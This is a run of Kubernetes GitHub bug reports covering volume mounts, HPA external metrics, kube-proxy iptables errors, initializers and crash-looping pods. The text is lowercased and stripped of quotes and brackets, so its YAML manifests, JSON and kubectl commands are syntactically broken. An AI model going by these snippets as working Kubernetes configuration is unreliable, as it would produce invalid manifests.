i guess the cause may be something associated with etcd version compatibility. @xiang90 @hongchaodeng any thoughts or suggestions? thanks!\r \r this is also posted in https://groups.google.com/forum/ !topic/kubernetes-sig-cluster-lifecycle/c4mw3r5v4v0\r \r /cc @enisoc @luxas @krzyzacy  @kubernetes/sig-cluster-lifecycle-test-failures @kubernetes/sig-release-test-failures

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r   what happened  :\r \r  many consts in different api groups are the same, and in some api groups, there are so many useless const, so moving them in a global file is a good idea. here is a  mail-discussion  https://groups.google.com/forum/?utm_medium=email&utm_source=footer !msg/kubernetes-sig-api-machinery/-wlyswuicja/pfiz-r5wcgaj .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r we have a master node on a cloud provider, secured with certificates. we see a lot of status 200 respones from the master to different ips, which are not our owns.\r anonymous login was off!\r \r   what you expected to happen  :\r every client without the correct certificate should get http status 401. \r \r   anything else we need to know?  :\r is there any possibility to receive a 200 without a valid key / certificate.\r \r   environment  :\r kubernetes 1.5.3\r - cloud provider or hardware configuration: azure\r \r

 \r   what happened  :\r on creating a stateful-set, the  kubelet  times-out while mounting a volume. the volume is attached and pvc bounded; however,  volumesinuse  and  volumesattached  aren't populated.\r \r   what you expected to happen  :\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use the following yml configuration to create a storageclass.\r    yml\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: ci-storage\r provisioner: kubernetes.io/vsphere-volume\r parameters:\r   diskformat: zeroedthick\r    \r use the following configuration to create a statefulset.\r    yml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: sample-statefulset\r spec:\r   servicename: \ pv-ex-svc\ \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: pv-ex\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: pv-ex\r         image: pcfkubo/persistent-example\r         ports:\r         - containerport: 3000\r         volumemounts:\r         - name: www\r           mountpath: /usr/share/pv-ex\r         env:\r         - name: log_file\r           value: /usr/share/pv-ex/log.txt\r   updatestrategy:\r     type: rollingupdate\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: ci-storage\r       resources:\r         requests:\r           storage: 1gi\r    \r \r   anything else we need to know?  :\r \r  kubelet describe pods  warns about a mount failure:\r    \r warning  failedmount            7m    kubelet, kubernetes-node3  unable to mount volumes for pod \ sample-statefulset-0_default db123759-434f-11e8-8cb0-00505691a640 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ sample-statefulset-0\ . list of unattached/unmounted volumes= www \r    \r \r the  controller-manager  https://github.com/vmware/kubernetes/blob/ss-logs/logs/kube-controller-manager_0.log ,  kubelet  https://github.com/vmware/kubernetes/blob/ss-logs/logs/8e47a8f1073f3d67a65d8e51fe9a85083a4d8a2085ac3548cc551e6d873c5634-json.log  and other logs can be found  here  https://github.com/vmware/kubernetes/tree/ss-logs/logs .\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.7-beta.0.113+dd5e1a2978fd0\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : vmware photo 1.0\r - kernel  e.g.  uname -a  : 4.4.8-esx\r - install tools: \r - others:\r

is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r pods periodically spend a longer than normal time in pending before transitioning to ready. the container on the pod will actually be running but the pod will still show a status of pending. when this occurs the pod never shows a status of containercreating.\r \r i have a container built from scratch with only a < 20m go binary running. typically it starts up in < 10s but periodically it will take over 1m to start even on nodes which already have the image cached.\r \r   what you expected to happen  :\r small pods to start up in < 60 seconds assuming no issues downloading or starting the container.\r pods to transition from pending to containtercreating to ready.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start up pods and time their startup process.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t22:29:03z\ , goversion:\ go1.9.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6+coreos.0\ , gitcommit:\ c2aac694c2c7373dfe3ad81f47fc3cbc70a5a8fa\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t21:54:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws  on ec2 not eks \r \r - os  e.g. from /etc/os-release :\r name=\ container linux by coreos\ \r id=coreos\r version=1745.2.0\r version_id=1745.2.0\r build_id=2018-05-09-0053\r pretty_name=\ container linux by coreos 1745.2.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r linux ip-   -   -   -    4.14.39-coreos  1 smp tue may 8 23:19:40 utc 2018 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r \r - install tools:\r bootkube/custom\r \r - others:\r

what happened  :\r hpa external metric names with uppercase letters do not work.\r \r   what you expected to happen  :\r \r i expect that metric names with upper case letters will work.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r make sure that the metric is available: \r    \r > kubectl --context tierstaging-central get --raw  \ /apis/external.metrics.k8s.io/v1beta1/namespaces/hpa-staging/hpa.staging.request_time.median\  | jq .                                               \r \r {\r   \ kind\ : \ externalmetricvaluelist\ ,\r   \ apiversion\ : \ external.metrics.k8s.io/v1beta1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /apis/external.metrics.k8s.io/v1beta1/namespaces/hpa-staging/hpa.staging.request_time.median\ \r   },\r   \ items\ :  \r     {\r       \ metricname\ : \ hpa.staging.request_time.median\ ,\r       \ metriclabels\ : {\r         \ cluster-name\ : \ tierstaging-central\ \r       },\r       \ timestamp\ : \ 2019-01-04t22:30:01z\ ,\r       \ value\ : \ 11\ \r     }\r    \r }\r    \r \r deploy an app with a minimal hpa:\r \r    \r  > cat hpa.yml\r ---\r apiversion: autoscaling/v2beta1\r kind: horizontalpodautoscaler\r metadata:\r   name: web-hpa\r spec:\r   minreplicas: 2\r   maxreplicas: 4\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: web\r   metrics:\r   - type: external\r     external:\r       metricname: hpa.staging.request_time.median\r       metricselector:\r         matchlabels:\r           cluster-name: tierstaging-central\r       targetaveragevalue: 13\r    \r \r it fails where the relevant part of the error is  no metrics returned from external metrics api \r \r    \r > kubectl --context tierstaging-central -n hpa-staging get hpa web-hpa -o yaml\r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   annotations:\r     autoscaling.alpha.kubernetes.io/conditions: ' {\ type\ :\ abletoscale\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-12-07t21:06:19z\ ,\ reason\ :\ succeededgetscale\ ,\ message\ :\ the\r       hpa controller was able to get the target''s current scale\ },{\ type\ :\ scalingactive\ ,\ status\ :\ false\ ,\ lasttransitiontime\ :\ 2018-12-07t21:06:19z\ ,\ reason\ :\ failedgetexternalmetric\ ,\ message\ :\ the\r       hpa was unable to compute the replica count: unable to get external metric hpa-staging/hpa.staging.request_time.median/\\u0026labelselector{matchlabels:map string string{cluster-name:\r       tierstaging-central,},matchexpressions:  ,}: no metrics returned from external\r       metrics api\ } '\r     autoscaling.alpha.kubernetes.io/metrics: ' {\ type\ :\ external\ ,\ external\ :{\ metricname\ :\ hpa.staging.request_time.median\ ,\ metricselector\ :{\ matchlabels\ :{\ cluster-name\ :\ tierstaging-central\ }},\ targetaveragevalue\ :\ 13\ }} '\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ autoscaling/v2beta1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ web-hpa\ ,\ namespace\ :\ hpa-staging\ },\ spec\ :{\ maxreplicas\ :4,\ metrics\ : {\ external\ :{\ metricname\ :\ hpa.staging.request_time.median\ ,\ metricselector\ :{\ matchlabels\ :{\ cluster-name\ :\ tierstaging-central\ }},\ targetaveragevalue\ :13},\ type\ :\ external\ } ,\ minreplicas\ :2,\ scaletargetref\ :{\ apiversion\ :\ apps/v1\ ,\ kind\ :\ deployment\ ,\ name\ :\ web\ }}}\r   creationtimestamp: \ 2018-12-07t21:06:04z\ \r   name: web-hpa\r   namespace: hpa-staging\r   resourceversion: \ 244467318\ \r   selflink: /apis/autoscaling/v1/namespaces/hpa-staging/horizontalpodautoscalers/web-hpa\r   uid: e8b6b960-fa63-11e8-af04-42010a800041\r spec:\r   maxreplicas: 4\r   minreplicas: 2\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: web\r status:\r   currentreplicas: 2\r   desiredreplicas: 0\r    \r \r this comes from https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/metrics/pkg/client/external_metrics/client.go l83 and\r https://github.com/kubernetes/client-go/blob/e6b0ffda95bb53fab6259ebc653a0bbd3e826d9d/rest/request.go l428\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r k version --context tierstaging-central       \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-04t07:51:55z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.5-gke.4\ , gitcommit:\ 0c81dc1e8c26fa2c47e50072dc7f98923cb2109c\ , gittreestate:\ clean\ , builddate:\ 2018-12-07t00:22:06z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: gke\r \r \r

we need to be able to define the following options when specifying the pod definition in rc and pod   --log-driver= logging driver for container --log-opt=   log driver options  these options should be settable at container level and have been introduced with docker 1.8.  since docker client lib support both options as well adding those options to the pod definition is now doable.

right now when you provision a new k8s cluster the  controller manager  and  scheduler  are bound to the loopback interface which makes it difficult to fetch their metrics. in this particular case i would love to know how long it is taking for pods to be scheduled on the cluster and be able to graph that over time.

hi, i've a kubernetes v1.2.4 cluster that had some pods crashed. i saw the kube-dns and heapster pods crashed. the error was:      error syncing pod, skipping: failed to \ startcontainer\  for \ skydns\  with imagepullbackoff: \ back-off pulling image \\\ gcr.io/google_containers/    skydns:2015-10-13-8c72f8c\\\ \  readiness probe failed: get http://10.2.35.28:8081/readiness: dial tcp 10.2.35.28:8081: connection refused back-off restarting failed docker container failed to pull image \ gcr.io/google_containers/skydns:2015-10-13-8c72f8c\ : image pull failed for gcr.io/google_containers/    skydns:2015-10-13-8c72f8c, this may be because there are no credentials on this request. details:  error pulling image  2015-10-13-8c72f8c  from     gcr.io/google_containers/skydns, failed to register layer: rename /var/lib/docker/image/overlay/layerdb/tmp/layer-714872967 /var/lib/docker/image/    overlay/layerdb/sha256/be0afd7c222710fd2d083bf77227b607cb57490f9b9b0b74c91402c49f2eaef6: directory not empty     error syncing pod, skipping: failed to \ startcontainer\  for \ heapster-nanny\  with imagepullbackoff: \ back-off pulling image \\\ gcr.io/    google_containers/addon-resizer:1.0\\\ \  failed to pull image \ gcr.io/google_containers/addon-resizer:1.0\ : image pull failed for gcr.io/google_containers/addon-resizer:1.0, this may be     because there are no credentials on this request. details:  failed to register layer: rename /var/lib/docker/image/overlay/layerdb/tmp/    layer-929417860 /var/lib/docker/image/overlay/layerdb/sha256/5ec961cbbfa65a45e25d0e64e023342db4415a6ccc1d4862e8c5feece5240290: directory not empty       i'd to remove several image layers and pull the images manually.  now it works, but i want to know why this error occurs. these pods already had the image pulled, so why are they re-pulling the image and why it fails?

enable in /etc/kubernetes/proxy configure file   kubernete version 1.2 kernel 3.10.0 iptables 1.4.21  seeing this error    jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : e0720 15:20:10.217390   10420 server.go:324  not trying iptables proxy: can't get node \ min-server002.pdlab.local\ : nodes \ min-server002.pdlab.local\  not found jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : e0720 15:20:10.247667   10420 proxier.go:193  error removing pure-iptables proxy rule: error checking rule: exit status 2: iptables v1.4.21: couldn't load target  kube-services':no such file or directory jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : try iptables -h' or 'iptables --help' for more information. jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : e0720 15:20:10.251570   10420 proxier.go:197  error removing pure-iptables proxy rule: error checking rule: exit status 2: iptables v1.4.21: couldn't load target  kube-services':no such file or directory jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : try iptables -h' or 'iptables --help' for more information. jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : i0720 15:20:10.278121   10420 proxier.go:615  opened iptables from-containers public port for service \ default/dev-mt-dm:\  on tcp port 32329 jul 20 15:20:10 min-server002.pdlab.local kube-proxy 10420 : i0720 15:20:10.287135   10420 proxier.go:626  opened iptables from-host public port for service \ default/dev-mt-dm:\  on tcp port 32329  root@min-server002 ~   kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ b57e8bdc7c3871e3f6077b13c42d205ae1813fbd\ , gittreestate:\ clean\ } the connection to the server localhost:8080 was refused - did you specify the right host or port?  root@min-server002 ~   uname -a linux min-server002.pdlab.local 3.10.0-327.13.1.el7.x86_64  1 smp thu mar 31 16:04:38 utc 2016 x86_64 x86_64 x86_64 gnu/linux  iptables rule  chain kube-nodeport-container  1 references  target     prot opt source               destination   redirect   tcp  --  anywhere             anywhere             /\\  default/dev-mt-dm:  / tcp dpt:32329 redir ports 41977  chain kube-nodeport-host  1 references  target     prot opt source               destination   dnat       tcp  --  anywhere             anywhere             /\\  default/dev-mt-dm:  / tcp dpt:32329 to:172.16.10.32:41977  chain kube-portals-container  1 references  target     prot opt source               destination   redirect   tcp  --  anywhere             10.0.0.61            /\\  default/dev-mt-dm: _/ tcp dpt:webcache redir ports 41977 redirect   tcp  --  anywhere             10.0.0.1             /_ default/kubernetes:https  / tcp dpt:https redir ports 36740  chain kube-portals-host  1 references  target     prot opt source               destination   dnat       tcp  --  anywhere             10.0.0.61            /\\  default/dev-mt-dm: _/ tcp dpt:webcache to:172.16.10.32:41977 dnat       tcp  --  anywhere             10.0.0.1             /_ default/kubernetes:https  / tcp dpt:https to:172.16.10.32:36740  chain output_direct  1 references

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the  help for  kubectl taint  needs to be updated to reflect the latest  noexecute  change.\r \r    \r root@k8s001:~/go/src/k8s.io/kubernetes  kubectl taint --help | grep no\r     the effect must be noschedule or prefernoschedule.\r    \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

kubernetes version  : 1.5.3\r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r   what happened  :\r i wanted to migrate from directly referencing a gce disk in the pod spec to using pvs and pvcs. we had already done this for several other disks. this particular disk however had the field \ partition: 1\  set, which i missed and thus did not add to the pv. what happened is that kubernetes formatted the disk, thus losing all data.\r \r   what you expected to happen  :\r mounting the disk should fail, since it already has a partition table. it should not be formatted.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r kubelet,  could not find endpoints\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r no duplicates found.\r ---\r \r   is this a bug report or feature request?    choose one :\r not a feature request. not sure if it is a bug report .\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.1-dirty\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ dirty\ , builddate:\ 2017-01-10t15:08:08z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/s390x\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.1-dirty\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ dirty\ , builddate:\ 2017-01-10t15:08:08z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/s390x\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04  xenial xerus \ \r -   kernel    e.g.  uname -a  : \r linux baas-work01 4.4.0-13-generic  29-ubuntu smp fri mar 11 19:30:41 utc 2016 s390x s390x s390x gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r when i deployed alertmanager, grafana, kube-state-metrics, node-exporter, prometheus and prometheus-operator with kubernetes. my grafana and alertmanager could not get the pod's info. when i looked into the logs of kube-dns. i found the following message.\r \r i0330 13:57:04.378884 1 dns.go:264  new service: node-exporter\r i0330 13:57:04.378887 1 dns.go:548  could not find endpoints for service \ node-exporter\  in namespace \ monitoring\ . dns records will be created once endpoints show up.\r i0330 14:02:04.379680 1 dns.go:264  new service: kubelet\r i0330 14:02:04.379687 1 dns.go:548  could not find endpoints for service \ kubelet\  in namespace \ kube-system\ . dns records will be created once endpoints show up.\r \r i tried \ kubectl get ep --all-namespaces\  , node-exporter and kubelet can not be seen either.\r so i want to ask why kubelet and node-exporter failed to be added into endpoints list. how to fix it.\r \r   what you expected to happen  :\r i have another environment works well with same configuration and the two services are shown in end point list. the message in kube-dns are not found.\r \r   how to reproduce it    as minimally and precisely as possible :\r not sure how to reproduce since i have a environment works well with same configuration.\r \r   anything else we need to know  :\r \r

i'm trying to use the initlializers feature  https://github.com/kubernetes/community/pull/132 , and i am unable to signify that the operation of the initializer is successful. \r \r to reproduce: create one intializer - \ vpa-initializer.k8s.io\  that operates on all pods.  extract from configuration:\r  initializerconfiguration\r {\r   objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{\r     name:vpa-initializer-config.k8s.io,\r   }\r   initializers: {vpa-initializer.k8s.io  {         pods }  0xc4203771f0} ,\r } \r initializer watches for uninitialized pods. a pod was added with  metadata.initializers.pending =   \ vpa\  \r the initializer performs some work on the pod and then sets metadata.initializers.pending to and empty list. after that i've tried two scenarios, both fail: \r 1. write pod with  metadata.initializers.pending =     and   metadata.initializers.status.status = nil \r result:  pod is invalid: metadata.initializers.pending: invalid value: \ null\ : must be non-empty when result is not set \r 2. write pod with  metadata.initializers.pending =     and  metadata.initializers.result.status = 'success' \r result:  pod  is invalid: metadata.initializers.result.status: invalid value: \ success\ : must be 'failure' \r \r i believe this is a bug in validation code for initializers.\r \r @lavalamp \r @smarterclayton \r @mwielgus  \r \r

the api server converts objects to internal versions for processing by admission plugins and rest handlers.\r \r rawextension fields are converted correctly during create requests, but are left in external versions when handling update requests.\r \r this means that admission plugins and rest handlers expecting internal versions will fail

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r calling kubectl run with overrides injecting environment from configmap doesn't inject environment\r \r   what you expected to happen  :\r \r i expect to see environment variables from the config map in the process\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl create configmap my-config --from-literal=foo=bar\r kubectl run -i --rm --tty ubuntu --overrides='\r {\r   \ spec\ : {\r     \ template\ : {\r       \ spec\ : {\r         \ containers\ :  \r           {\r             \ name\ : \ app\ ,\r             \ image\ : \ ubuntu\ ,\r             \ envfrom\ :  \r               {\r                 \ configmapref\ : {\r                   \ name\ : \ my-config\ \r                 }\r               }\r              \r           }\r          \r       }\r     }\r   }\r }\r '  --image=ubuntu --restart=never -- bash -c \ sleep 3 && env\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  : aws/kops\r - os  e.g. from /etc/os-release : osx\r - kernel  e.g.  uname -a  :\r \r darwin wlt041147 16.6.0 darwin kernel version 16.6.0: fri apr 14 16:21:16 pdt 2017; root:xnu-3789.60.24~6/release_x86_64 x86_64\r \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r bug maybe\r \r \r  \r \r \r   what happened  :\r \r i had a perfectly working cluster up untill the point where i had to format one of the nodes and rejoin it in the cluster afterwards. that said host was added in the cluster as a minion/worker/node but whatever pods that get assigned onto this node crash with error syncing pod errors. \r \r   what you expected to happen  :\r to be able to use this as a node\r   how to reproduce it  as minimally and precisely as possible   :\r the cluster is deployed via kubespray/ansible on centos 7.4 bare metal hosts.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:48:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3+coreos.0\ , gitcommit:\ 42de91f04e456f7625941a6c4aaedaa69708be1b\ , gittreestate:\ clean\ , builddate:\ 2017-08-07t19:44:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r \r centos 7.4 on bare metal \r \r \r - os  e.g. from /etc/os-release :\r \r    \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r    \r \r - kernel  e.g.  uname -a  :\r \r  3.10.0-693.2.2.el7.x86_64\r \r - install tools:\r kubespray 2.2 , ansible 2.3.2\r \r - others:\r \r \r some logs from the failed pod\r    \r kubectl describe --namespace=default pods/alpine-368057524-bgt0m\r name:\t\talpine-368057524-bgt0m\r namespace:\tdefault\r node:\t\tcentos02/94.130.134.159\r start time:\tsun, 29 oct 2017 02:23:42 +0100\r labels:\t\tpod-template-hash=368057524\r \t\trun=alpine\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ alpine-368057524\ ,\ uid\ :\ cc1e8675-bc47-11e7-85ce-901b0edee6b6\ ,\ ...\r status:\t\trunning\r ip:\t\t10.233.72.135\r created by:\treplicaset/alpine-368057524\r controlled by:\treplicaset/alpine-368057524\r containers:\r   alpine:\r     container id:\tdocker://fa80d4bcbedaa0238c64f1f34e95f34d3d092b52806fb52acba9e60ae504015a\r     image:\t\talpine\r     image id:\t\tdocker-pullable://alpine@sha256:b40e202395eaec699f2d0c5e01e6d6cb8e6b57d77c0e0221600cf0b5940cf3ab\r     port:\t\t<none>\r     state:\t\twaiting\r       reason:\t\tcrashloopbackoff\r     last state:\t\tterminated\r       reason:\t\tcompleted\r       exit code:\t0\r       started:\t\tsun, 29 oct 2017 13:02:53 +0100\r       finished:\t\tsun, 29 oct 2017 13:02:53 +0100\r     ready:\t\tfalse\r     restart count:\t129\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-37cjw  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   default-token-37cjw:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-37cjw\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t--------\t------\t\t-------\r   10h\t\t2m\t\t130\tkubelet, centos02\tspec.containers{alpine}\tnormal\t\tpulling\t\tpulling image \ alpine\ \r   10h\t\t2m\t\t130\tkubelet, centos02\tspec.containers{alpine}\tnormal\t\tpulled\t\tsuccessfully pulled image \ alpine\ \r   10h\t\t2m\t\t130\tkubelet, centos02\tspec.containers{alpine}\tnormal\t\tcreated\t\tcreated container\r   10h\t\t2m\t\t130\tkubelet, centos02\tspec.containers{alpine}\tnormal\t\tstarted\t\tstarted container\r   10h\t\t10s\t\t2855\tkubelet, centos02\tspec.containers{alpine}\twarning\t\tbackoff\t\tback-off restarting failed container\r   10h\t\t10s\t\t2855\tkubelet, centos02\t\t\t\twarning\t\tfailedsync\terror syncing pod\r    \r \r \r kubelet logs\r \r \r \r \r    \r oct 29 13:15:55 centos02 kubelet 4919 : i1029 13:15:55.470989    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpolicy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r oct 29 13:15:55 centos02 kubelet 4919 : i1029 13:15:55.471136    4919 kuberuntime_manager.go:741  checking backoff for container \ alpine\  in pod \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:15:55 centos02 kubelet 4919 : i1029 13:15:55.471281    4919 kuberuntime_manager.go:751  back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \r oct 29 13:15:55 centos02 kubelet 4919 : e1029 13:15:55.471336    4919 pod_workers.go:182  error syncing pod cc89ef7c-bc47-11e7-85ce-901b0edee6b6  \ alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \  , skipping: failed to \ startcontainer\  for \ alpine\  with crashloopbackoff: \ back-off 5m0s restarting failed container=alpine pod=alpine-368057524-bgt0m_default cc89ef7c-bc47-11e7-85ce-901b0edee6b6 \ \r oct 29 13:15:58 centos02 kubelet 4919 : i1029 13:15:58.436341    4919 qos_container_manager_linux.go:286   containermanager : updated qos cgroup configuration\r oct 29 13:16:06 centos02 kubelet 4919 : i1029 13:16:06.471126    4919 kuberuntime_manager.go:457  container {name:alpine image:alpine command:   args:   workingdir: ports:   envfrom:   env:   resources:{limits:map   requests:map  } volumemounts: {name:default-token-37cjw readonly:true mountpath:/var/run/secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil 